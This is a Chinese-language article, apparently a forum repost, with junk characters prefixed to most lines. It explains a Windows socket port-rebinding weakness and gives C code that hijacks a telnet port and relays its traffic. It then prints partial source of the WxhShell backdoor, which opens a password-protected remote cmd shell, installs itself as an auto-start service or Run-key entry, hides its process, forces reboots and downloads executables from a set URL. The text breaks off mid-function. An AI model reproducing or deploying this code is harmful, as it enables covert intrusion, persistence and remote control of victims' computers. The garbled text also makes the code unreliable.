在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
g$dL5N7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Q|gun} $EviGZFAaR saddr.sin_family = AF_INET;
; Z61|@Y ]-%ZN+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]rn!+z vG\]xM'u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
w}NgFrL 30>TxL=& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Eg-b5Z); #Opfc8pm' 这意味着什么?意味着可以进行如下的攻击:
'[Oi_gE. AXPUJ?V 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qvYYKu 7L;yN..0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~uC4>+dk /l+x&xYD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
j\dkv_L M|d[iaM, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8)"KPr63M Y hLtf(r 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6{lWUr bdaZ{5^{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(^a;2j9 QJdSNkc6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ZFW}Vnl {K3\S
0L #include
dN |w;|M #include
tO[+O=d #include
GetUCb%1 #include
nZ\,ZqV DWORD WINAPI ClientThread(LPVOID lpParam);
a' #-%!] int main()
Q(]-\L' {
&1Cq+YpI WORD wVersionRequested;
d'[aOH4} DWORD ret;
;xB"D0~,1 WSADATA wsaData;
:R_{tQ-WG BOOL val;
K:y q^T7 SOCKADDR_IN saddr;
j&T/.]dX& SOCKADDR_IN scaddr;
N8D'<BUC int err;
a
_ SOCKET s;
i+&="Z@ SOCKET sc;
~d5"<`<^o int caddsize;
M8cLh!! HANDLE mt;
_"0n.JQg DWORD tid;
y\0^c5} wVersionRequested = MAKEWORD( 2, 2 );
K7f-g]Ibdn err = WSAStartup( wVersionRequested, &wsaData );
|!!E5osXq if ( err != 0 ) {
/mD KQ< printf("error!WSAStartup failed!\n");
[7I|8 return -1;
)&dhE^
O }
cWRB=`=qz saddr.sin_family = AF_INET;
!+hX$_RT ]NFDE-Jz] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Gzp)OHgJ M\v4{\2l0
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
y'@l,MN{ saddr.sin_port = htons(23);
*?K`T^LS if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(6h7 'r $ {
,s)~Y
p?< printf("error!socket failed!\n");
Q.yKbO<[ return -1;
2OT6*+D }
t&P5Zw*B
val = TRUE;
_)_XO92~ //SO_REUSEADDR选项就是可以实现端口重绑定的
p\-.DRwT` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
oC7#6W:@w {
_ZS<zQ' printf("error!setsockopt failed!\n");
4tuEC-oh return -1;
\~?s= LT }
E?9_i
:IX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
FwW%@Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\pzvoj7{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vq5I 2 xrX("ili if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
O4E2)N {
|@ldXuYb ret=GetLastError();
]@8=e'V printf("error!bind failed!\n");
hYWWvJ)S return -1;
%[Ds-my2 }
I^ >zr.zA listen(s,2);
&9ZIf#R while(1)
H~G=0_S {
CqX%V":2 caddsize = sizeof(scaddr);
=OHDp7GXO> //接受连接请求
d.}rn"(z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^|K*lI/ if(sc!=INVALID_SOCKET)
S}<
<jI-z {
#TSM#Uqe mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
C,<TAm if(mt==NULL)
_:K}DU'6 {
=[jBOx& printf("Thread Creat Failed!\n");
7J;.T%4l break;
=f|>7m.p }
]_pL79y }
7>~iS@7GV CloseHandle(mt);
5:PZ=jPR }
B}FF |0< closesocket(s);
2 sOc]L:9 WSACleanup();
4dok/ +Ec return 0;
Qdn:4yk }
)Z _i[1V DWORD WINAPI ClientThread(LPVOID lpParam)
uB^]5sqfk {
PA=BNKlH SOCKET ss = (SOCKET)lpParam;
*7v PU:Q[ SOCKET sc;
WcJ{}V9 unsigned char buf[4096];
tV,zz;* Oe SOCKADDR_IN saddr;
y@Or2bO# long num;
0iB1_)~ DWORD val;
tQ|I$5jNJ DWORD ret;
mzw*6e2T //如果是隐藏端口应用的话,可以在此处加一些判断
h/k`+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
e5/_Vga saddr.sin_family = AF_INET;
.o8Gi*PEY saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1k~jVC2VA saddr.sin_port = htons(23);
n$?oZ*; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}rQ*!2Y? {
G`P+J printf("error!socket failed!\n");
+OH."4Z return -1;
V&nN/CF }
.=FJ5?:4i% val = 100;
[5 V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z7_./ksQ {
jl@8pO$ ret = GetLastError();
Fi`:G} return -1;
z[rB/|2 }
Xm-63U`w5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hf-S6PEsM {
,]Ma, 2 ret = GetLastError();
dkLR
Q
return -1;
*,pqpD> }
h`Mf;'P if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
p(8\w-6 {
:Rn9rdX printf("error!socket connect failed!\n");
xle29:?l closesocket(sc);
] QEw\4M?= closesocket(ss);
c9[5) return -1;
=3:ltI.'*I }
~;W%s while(1)
W{h7+X]Y {
RW)C<g //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
L; ~=( //如果是嗅探内容的话,可以再此处进行内容分析和记录
pi{ahuI#_o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+
ThKqC_ num = recv(ss,buf,4096,0);
-5[GX3h0 if(num>0)
;$i'A&)OC send(sc,buf,num,0);
2P=;r:cx else if(num==0)
HHYcFoJwYN break;
Kv7NCpq' num = recv(sc,buf,4096,0);
O?!"15 if(num>0)
%'HUC>ChN send(ss,buf,num,0);
>']H)c'2 else if(num==0)
9<a yQ* break;
7ou^wt+% }
}VGiT~2$ closesocket(ss);
Uww^Sq closesocket(sc);
_6' g]4 return 0 ;
b+hY^$// }
.<B1i hTm}j,H I}WJ0}R ==========================================================
;'p'8lts h]#)41y< 下边附上一个代码,,WXhSHELL
?1uAY.~ZZB O2e"TH3 ==========================================================
y)}aySQK^ :]s] =q&] #include "stdafx.h"
M@\'Y$)Y{ ]@>|y2 #include <stdio.h>
OOCeZ3yF( #include <string.h>
kWd'gftQ #include <windows.h>
t/Fe"T[,V #include <winsock2.h>
UU;:x"4 #include <winsvc.h>
F*4+7$E0B #include <urlmon.h>
E'G>'cW;x =-qsz^^a- #pragma comment (lib, "Ws2_32.lib")
v`&Z.9!Tz^ #pragma comment (lib, "urlmon.lib")
ob{pQx7 ^XM;D/Gp~ #define MAX_USER 100 // 最大客户端连接数
J (h> #define BUF_SOCK 200 // sock buffer
1 GdD #define KEY_BUFF 255 // 输入 buffer
Q
Y'-] I,eyL$x #define REBOOT 0 // 重启
5o/rV.I #define SHUTDOWN 1 // 关机
Jy_'(hG d
eg>m?Y #define DEF_PORT 5000 // 监听端口
P]B#i1 Os{qpR^<I: #define REG_LEN 16 // 注册表键长度
hgK=fHJk #define SVC_LEN 80 // NT服务名长度
!UTJ) & >$DqG$D // 从dll定义API
P `"7m- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
kR|y0V {K* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+$t%L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
eXK`%' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9K|lU:, }U9jsm // wxhshell配置信息
N6;Z\\&0^q struct WSCFG {
7&4,',0VL int ws_port; // 监听端口
L|LTsRIq char ws_passstr[REG_LEN]; // 口令
arZIe+KW int ws_autoins; // 安装标记, 1=yes 0=no
<Xx\F56zp char ws_regname[REG_LEN]; // 注册表键名
I8?[@kg5b' char ws_svcname[REG_LEN]; // 服务名
@nu/0+8h{ char ws_svcdisp[SVC_LEN]; // 服务显示名
#A;Z4jK char ws_svcdesc[SVC_LEN]; // 服务描述信息
YkX=n{^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
zwtsw [. int ws_downexe; // 下载执行标记, 1=yes 0=no
]B4mm__ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
cAS_?"V
a char ws_filenam[SVC_LEN]; // 下载后保存的文件名
w|C~{ {O)&5 };
y6}):| SK52.xXJ // default Wxhshell configuration
`Ny8u")= struct WSCFG wscfg={DEF_PORT,
1 1CJT "xuhuanlingzhe",
s? k[_|)! 1,
/ JB4 #i7 "Wxhshell",
)*h~dx_c m "Wxhshell",
9#ft;c "WxhShell Service",
@
WaYU "Wrsky Windows CmdShell Service",
K*$#D1hG "Please Input Your Password: ",
<q\)
o_tH 1,
N_D+d4@ "
http://www.wrsky.com/wxhshell.exe",
2(Uz9!<V "Wxhshell.exe"
2-aYqMmT; };
I&8m5F?$` I})t // 消息定义模块
C4]%pi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
2<Bv=B char *msg_ws_prompt="\n\r? for help\n\r#>";
@88i/ Z_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ky#B'Bh}`g char *msg_ws_ext="\n\rExit.";
9Z'eBp char *msg_ws_end="\n\rQuit.";
X vMG09 char *msg_ws_boot="\n\rReboot...";
PU5mz.&0' char *msg_ws_poff="\n\rShutdown...";
A@(h!Cq char *msg_ws_down="\n\rSave to ";
Hs=N0Sk]j
'*u;:[73 char *msg_ws_err="\n\rErr!";
\_nmfTr!K char *msg_ws_ok="\n\rOK!";
F|TMpH/ "R@N|Qx' char ExeFile[MAX_PATH];
u=o"^ int nUser = 0;
@BUqQ9q: HANDLE handles[MAX_USER];
AijTT% int OsIsNt;
$?AA"Nz 2F@)nh SERVICE_STATUS serviceStatus;
xc.D!Iav SERVICE_STATUS_HANDLE hServiceStatusHandle;
x}'4^Cv :xS&Y\ry // 函数声明
ii
y3 int Install(void);
BWdc^ int Uninstall(void);
S.|kg2 int DownloadFile(char *sURL, SOCKET wsh);
AYIz;BmWy int Boot(int flag);
<[:7#Yo
g void HideProc(void);
m\M+pjz int GetOsVer(void);
o MkY#<Q} int Wxhshell(SOCKET wsl);
dqA[|bV void TalkWithClient(void *cs);
~h0BT(p/ int CmdShell(SOCKET sock);
([b!$o<v int StartFromService(void);
f~nt!$ int StartWxhshell(LPSTR lpCmdLine);
zK4
8vo cuaNAJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,Bw)n, VOID WINAPI NTServiceHandler( DWORD fdwControl );
917 0bmr S?\hbM]V-o // 数据结构和表定义
e~.?:7t SERVICE_TABLE_ENTRY DispatchTable[] =
k_>Fw>Y {
<3=qLm {wscfg.ws_svcname, NTServiceMain},
o Xi}@ {NULL, NULL}
U!?gdX };
fGf-fh;s ikN!ut // 自我安装
8<g#$(a_E int Install(void)
l@rwf$- {
~vSAnjeR char svExeFile[MAX_PATH];
\UqS -j| HKEY key;
fTV|?:C{ strcpy(svExeFile,ExeFile);
92]ZiL?k aq+IC@O // 如果是win9x系统,修改注册表设为自启动
E\~ KVn if(!OsIsNt) {
ITIj=!F* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|W*@}D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%=9yzIjbAt RegCloseKey(key);
5%?b5(mnD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D&l,SD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
UlNfI}#X RegCloseKey(key);
7k=F6k0) return 0;
B$TChc3B }
@ Rx6 >52> }
6w"( y~c1 }
@D~+D@i$TW else {
bLEATT[ _gm?FxV: // 如果是NT以上系统,安装为系统服务
BBR"HMa4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&49$hF
g6" if (schSCManager!=0)
Mp"'?zf {
=Y/fF SC_HANDLE schService = CreateService
pq[X)]z| (
}PQSCl^I schSCManager,
Kka8cG wscfg.ws_svcname,
,{{#a*nd wscfg.ws_svcdisp,
a=*ALd_&0 SERVICE_ALL_ACCESS,
/8>0;bX+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=vr Y{5!> SERVICE_AUTO_START,
!Wixs]od
SERVICE_ERROR_NORMAL,
+ sywgb) svExeFile,
&^7uv0M<y NULL,
t'Eb#Nup3 NULL,
S6T!qH{6 NULL,
7AO3-;
l] NULL,
tpa^k NULL
hB7pR"P );
xd|~+4 if (schService!=0)
!ASoXQRz {
g+ }s:9 CloseServiceHandle(schService);
K6v
$#{$6 CloseServiceHandle(schSCManager);
aM{@1mBm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Seq]NkgY strcat(svExeFile,wscfg.ws_svcname);
i#RElH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~|'y+h89 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
w3<"g&n| RegCloseKey(key);
~mK-8U4>K, return 0;
f `y"
a@ }
$89ea*k }
&{zwM |Q@? CloseServiceHandle(schSCManager);
&IRA=nJ }
ZUXse1, }
4e+BqCriC* *5y
W return 1;
}F{C= l2 }
G(As%r] ,2,SG/BB // 自我卸载
XLZ j int Uninstall(void)
B:?#l=FL {
\f/#<|Hm HKEY key;
*H5PT xvR?~ if(!OsIsNt) {
z1f^p7$M? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|^Ew< RegDeleteValue(key,wscfg.ws_regname);
my ; RegCloseKey(key);
ik2-
OM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&[5n0e[ RegDeleteValue(key,wscfg.ws_regname);
CF|moc:; RegCloseKey(key);
m<4s*q0\i return 0;
$ZI~ 8rI~ }
$5lW)q A }
\Pl,'
1% }
hdd>&?p3 else {
}XCR+uAz S5~`T7Ra SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.Vo"AuC} if (schSCManager!=0)
vuR5}/Ev {
-BA"3 S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~$4]HDg if (schService!=0)
#\pP2
{
b JfD\ if(DeleteService(schService)!=0) {
cy) k<?, CloseServiceHandle(schService);
I9}+(6 CloseServiceHandle(schSCManager);
:tMre^oP return 0;
R}DX(T,K }
x.b; +p}= CloseServiceHandle(schService);
'e.q
7Jpd }
w"cM<Ewu CloseServiceHandle(schSCManager);
4%wq:y<
)/ }
$D QD$ }
xLx"*jyL K2cq97k,d return 1;
8jy-z"jc }
3 ppuQQ yS[z2:! // 从指定url下载文件
;/@?6T" int DownloadFile(char *sURL, SOCKET wsh)
J3;Tm~KJ_ {
w]};0v&\~s HRESULT hr;
I*D<J$ 9N char seps[]= "/";
v%lv8Lar' char *token;
$sEB'>: char *file;
#P(l2 ( char myURL[MAX_PATH];
~ J0,)_b%* char myFILE[MAX_PATH];
>P<z |8 jg[5UTkcs strcpy(myURL,sURL);
lPY@{1W token=strtok(myURL,seps);
,b4):{ while(token!=NULL)
S:ls[9G[3 {
9i0M/vx file=token;
LZ~2=Y<
U( token=strtok(NULL,seps);
tC&fAE:S }
U;\S(s} j]pohxn$5 GetCurrentDirectory(MAX_PATH,myFILE);
.Y!;xB/ strcat(myFILE, "\\");
aXe{U}eow strcat(myFILE, file);
~|&="K4,: send(wsh,myFILE,strlen(myFILE),0);
LeY+p]n~ send(wsh,"...",3,0);
'pan9PW
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XwcMt r* if(hr==S_OK)
3 brb*gI_b return 0;
bH*@,EE else
42fprt return 1;
Q[M (Wqg (lb6]MtTHY }
'!!e+\h# Sv7 i! j // 系统电源模块
Mx8Gu^FW.d int Boot(int flag)
On=u#DxQ {
u7HvdLql HANDLE hToken;
%y iD~& TOKEN_PRIVILEGES tkp;
|/VL35b Uz 0W <u3v if(OsIsNt) {
tpXa*6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
SD?BM-&~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
BI};"y tkp.PrivilegeCount = 1;
`dDa}b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2\VAmPG.Zs AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Yx5J$!Ld if(flag==REBOOT) {
4E2yH6l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ejVdxVr \7 return 0;
5MxH)~VQoM }
CWs: l3_yn else {
{O)YwT$` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
MY!q% return 0;
SSE3tcRRl }
pprejUR }
czI{qi5N else {
wf?u(3/% if(flag==REBOOT) {
n@
4@, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4r\*@rq return 0;
eOt%x Tx }
Jen%}\ else {
PWvSbn6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
MM#i t=u return 0;
L\YKdUL }
G$C}?"l }
`mzb(bE 5SUN.%y return 1;
Vo,[EVL }
Edw2W8 U/Wrh($ #4 // win9x进程隐藏模块
i'HPRY void HideProc(void)
b6"}"bG {
F.<L>
G7{1 bpW!iY/q3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7:>sc]Z if ( hKernel != NULL )
pz7H To;p {
I5qM.@%zB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Pt)S;6j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~wOTjz FreeLibrary(hKernel);
%:3'4;jh% }
l-}KmZ] +Q)ULnie e return;
x?
N.WABr; }
XA)'=L!^ f2yq8/J8. // 获取操作系统版本
~-_i int GetOsVer(void)
gWOt]D/ {
#{$1z;i?f OSVERSIONINFO winfo;
T~Ly^|Ihz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fG&=Ogy GetVersionEx(&winfo);
jY/ARBC}H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
URA0ey` return 1;
! Z;T-3^. else
U\jb" return 0;
#op:/j }
fN)x#? o@W_ai_ // 客户端句柄模块
mu[Op*) int Wxhshell(SOCKET wsl)
SO;N~D1Z6 {
2no$+4+z SOCKET wsh;
;~+]! U struct sockaddr_in client;
lpy:3`ti DWORD myID;
bb;(gK;F bO3GVc+S while(nUser<MAX_USER)
dU]/$7 {
JJ?I>S N! int nSize=sizeof(client);
?^u^im wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
2.-o@im0 if(wsh==INVALID_SOCKET) return 1;
?mx\eX{ -\#lF?fzb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(}smW_`5 if(handles[nUser]==0)
[Atc "X$ closesocket(wsh);
Fi2xr<7" else
sN~ \+_ nUser++;
,%[4j9#!_ }
xJc$NV-JzK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
j*400 ^lj7( return 0;
FW..mD9)} }
3[d>&xk@$ @;iXp>&& // 关闭 socket
6L9,'Bg void CloseIt(SOCKET wsh)
WO X}Sw" {
yZCX S closesocket(wsh);
&Z;_TN9[ nUser--;
T95t"g?p ExitThread(0);
W.I\J<=V }
%S@L|t M`7y>Ud // 客户端请求句柄
bgF^(T35 void TalkWithClient(void *cs)
BRS#Fl: {
'yY>as '<dgT&8C SOCKET wsh=(SOCKET)cs;
R)5n 8 char pwd[SVC_LEN];
!GwL,)0@^ char cmd[KEY_BUFF];
epg#HNP7^Y char chr[1];
J !HjeZ int i,j;
g(Yb^'X/ *?t%0){ while (nUser < MAX_USER) {
A"uULfnk 65TfFcQ<S if(wscfg.ws_passstr) {
&GhPvrxI? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CnISe^h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uw AwWgl //ZeroMemory(pwd,KEY_BUFF);
G[,Q95`w?< i=0;
X~oK[Nf'9 while(i<SVC_LEN) {
S($Su7g%_ 0 1V^L} // 设置超时
iW%8/$ fd_set FdRead;
V}WB*bE struct timeval TimeOut;
xQ4%e[/ FD_ZERO(&FdRead);
u92^(| FD_SET(wsh,&FdRead);
xSMt*]=9 TimeOut.tv_sec=8;
5/MKzoB TimeOut.tv_usec=0;
^D{lPu
3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^oM|<";!?D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9'[ N1Un.= }ns-W3B' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
x =q;O+7] pwd
=chr[0]; ~" i0x
if(chr[0]==0xd || chr[0]==0xa) { 1}%B%*N
pwd=0; T{+Z(L
break; B<?wh0
} pkgjTXR2b
i++; lIRlMLuG
} |7k_N|E
Jh&~ToF!
// 如果是非法用户,关闭 socket ZcJ\ZbE|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hk[
%a$Y
} Oz:
*LZ
r^Zg-|gr
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ztr Cv?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _hu")os
TZR)C P5
while(1) { {)8>jxQN
Az;t"
ZeroMemory(cmd,KEY_BUFF); @p 6<Lw_E
kM8{Cw
// 自动支持客户端 telnet标准 v\tEVhm
j=0; PwB1]p=
while(j<KEY_BUFF) { #_93f
|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G<|8?6bq#
cmd[j]=chr[0]; @#g<IBG=*
if(chr[0]==0xa || chr[0]==0xd) { v59dh (:`Z
cmd[j]=0; 4JGtI*%5lq
break; /U&Opo
{aO
} 9h4({EE2t
j++; aJ") <_+
} ~*A8+@\R
0'YG6(h
// 下载文件 kE9esC3
if(strstr(cmd,"http://")) { !K
f#@0E..
send(wsh,msg_ws_down,strlen(msg_ws_down),0); aFz5leD
if(DownloadFile(cmd,wsh)) G s+3e8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eow_WW;P
else l
vMlL5t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hCjR&ZA
} L>yJ
else { &|3
$!S
uN([*'0Cg
switch(cmd[0]) { ZOCDA2e(j
}XO K,Hw
// 帮助 0Z[oKXm1p
case '?': { .sC?7O=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CHrFM@CM
break; ,(8;y=wux
} ( +pLA"xq
// 安装 n!p<A.O7@
case 'i': { (q+)'H%iK
if(Install()) OxI/%yv-c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QnZcBXI8
else |7yAX+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P9g en6
break; ![]``g2
} i;LXu%3\
// 卸载 z 9FfU
case 'r': { g35DV6
if(Uninstall()) :8CvRO*<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1$M@]7e+!+
else wr[,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); At7>V-f}
break; ^6_e=jIN
} UfN&v >8f
// 显示 wxhshell 所在路径 KMI_zhyB
case 'p': { 0"CG7Vg,zh
char svExeFile[MAX_PATH]; .pvi!NnL-
strcpy(svExeFile,"\n\r"); LaQ-=;(`
strcat(svExeFile,ExeFile); yKYTi3_(
send(wsh,svExeFile,strlen(svExeFile),0); Hemq+]6^
break; o.0ci+z@
} WI?oSE w
// 重启 u%w`:v7Yo(
case 'b': { {&jb5-*f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ne4Q#P
if(Boot(REBOOT)) M$Zcn# A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D6>HN[D"
else { T:5fc2Ngv
closesocket(wsh); Z.92y
ExitThread(0); UrqRx?#
} (p2K36,9m
break; UK<Nj<-'t
} zIh['^3.n
// 关机 T6 '`l?H`;
case 'd': { bbrXgQ`s+w
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vI>>\.ED
if(Boot(SHUTDOWN)) .zi_[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o4|M0
else { !o:f$6EA~C
closesocket(wsh); ]H`1F1=
ExitThread(0); rg^'S1x|
} -i0~]*
break; :A/d to
} 5H*\t 7
// 获取shell
TWA-.>c
case 's': { Z'"tB/=W
CmdShell(wsh); :]\([Q+a
closesocket(wsh); eEuvl`&
ExitThread(0); <StN%2WQ1
break; .&DhN#EN0
} 3j\1S1
// 退出 ,P;Pm68V
case 'x': { B} lvr-c#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u6AA4(
CloseIt(wsh); `$ 6rz
break; ~ _/(t'9
} "*In+ !K
// 离开 7pe\M/kl
case 'q': { uScMn/%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); R%?9z 8-
closesocket(wsh); gt@m?w(
WSACleanup(); kqFP)!37
exit(1); '<"s \,
break; @7IIM{
} `@`CG[-9
} 3kybLOG
} )h7<?@wv&
e )d`pQ6
// 提示信息 <g$~1fa
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U|jSa,}
} 4 o Fel.o
} h&KO<>
j0oR)du
return; _h{C_;a[_
} sB7#
~pA
Zy`m!]G]80
// shell模块句柄 h2G$@8t}I
int CmdShell(SOCKET sock) Q+[n91ey**
{
YtmrRDQs
STARTUPINFO si; 3}}38A|4
ZeroMemory(&si,sizeof(si)); I>W=x'PkLn
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6 (]Dh;gC
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _852H$H\
PROCESS_INFORMATION ProcessInfo; EV]1ml k$
char cmdline[]="cmd"; 4h|c<-`>t
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +S o4rA*9
return 0; Ayxkv)%:@)
} 6^]+[q}3
!|^|,"A)
// 自身启动模式 b3=rG(0f
int StartFromService(void) 0XE4<U
{ eA2@Nkw~)
typedef struct %)1y AdG
8
{ -|$@-fY;
